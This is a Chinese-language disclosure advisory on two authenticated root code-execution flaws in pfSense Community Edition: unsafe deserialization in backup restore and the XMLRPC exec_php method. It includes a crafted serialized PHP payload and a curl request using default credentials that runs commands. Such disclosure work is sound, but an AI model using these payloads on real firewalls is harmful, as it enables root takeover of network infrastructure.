Netgate pfSense 社区版中的已认证远程代码执行漏洞
| 字段 | 详情 |
|---|---|
| 研究人员 | Nelson Adhepeau (@privlabs) |
| 厂商 | Netgate |
| 产品 | pfSense 社区版 |
| 受影响版本 | 2.7.2 和 2.8.0 |
| 类型 | 已认证远程代码执行 |
| 披露时间 | 2026 年 2 月 |
| 厂商通知时间 | 2025 年 12 月 2 日 |
| CVE 分配时间 | 2026 年 1 月 28 日 |
本研究仅在隔离的实验环境中进行,仅供教育和安全意识宣传之用。 所有发现均已在发布前负责任地披露给厂商。本公告不构成 对生产系统发起攻击的邀请。未经授权的测试属于违法行为。
| 字段 | 值 |
|---|---|
| CVSS v3.1 | 8.8(高危) |
| 攻击向量 | AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-502、CWE-915 |
| 攻击类型 | 已认证(管理员) |
| 受影响组件 | 备份/还原机制 |
pfSense 配置还原机制会对用户可控数据调用 unserialize(),且没有类白名单、输入验证或沙箱隔离。
精心构造的包含恶意序列化 PHP 对象的备份文件可通过 post_reboot_commands 属性注入任意命令,这些命令将通过 mwexec() 以完全 root 权限执行。
[攻击者] → 以管理员身份登录
→ 上传恶意 .xml 备份文件
→ 触发还原
→ pfSense 对攻击者数据调用 unserialize()
→ 通过 mwexec() 执行 post_reboot_commands
→ [获得 ROOT SHELL]
config.php — 还原处理逻辑pfsense_module_installer 类 — 不安全反序列化目标mwexec() — 命令执行出口O:23:"pfsense_module_installer":1:{
s:17:"*post_reboot_commands";
a:1:{
i:0;s:40:"/usr/local/bin/php -r 'system(\"id\");'";
}
}
"已确认。归类为已认证管理员滥用行为。 不会发布补丁。" — Netgate
| 字段 | 值 |
|---|---|
| CVSS v3.1 | 9.9(严重) |
| 攻击向量 | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-284、CWE-915 |
| 攻击类型 | 已认证(远程,Basic Auth) |
| 受影响组件 | XMLRPC API — pfsense.exec_php |
pfSense CE 2.8.0 暴露了 XMLRPC 方法 pfsense.exec_php,该方法以 root 权限执行任意 PHP 代码,且没有任何验证、沙箱或任何形式的限制。
该端点具有以下特点:
admin:pfsense)利用[攻击者] → 向 /xmlrpc.php 发送 XMLRPC 请求
→ 使用 admin:pfsense(默认凭据)进行认证
→ 调用 pfsense.exec_php 并传入任意 PHP 代码
→ 代码以 root 身份执行,无沙箱隔离
→ [获得 ROOT SHELL]
xmlrpc.php — API 入口点pfsense.exec_php — 不安全的动态代码执行curl -k -u admin:pfsense \
-H "Content-Type: text/xml" \
-d '<methodCall>
<methodName>pfsense.exec_php</methodName>
<params>
<param>
<value><string>system("id");</string></value>
</param>
</params>
</methodCall>' \
https://<target>/xmlrpc.php
"已确认。归类为已认证用户的预期行为。 没有计划发布补丁。" — Netgate
2025 年 11 月 → 发现漏洞
2025 年 12 月 2 日 → 向 Netgate 负责任披露
→ 厂商确认,未计划修补
2026 年 1 月 28 日 → MITRE 分配 CVE ID
2026 年 2 月 → 公开披露
Nelson Adhepeau — 独立安全研究员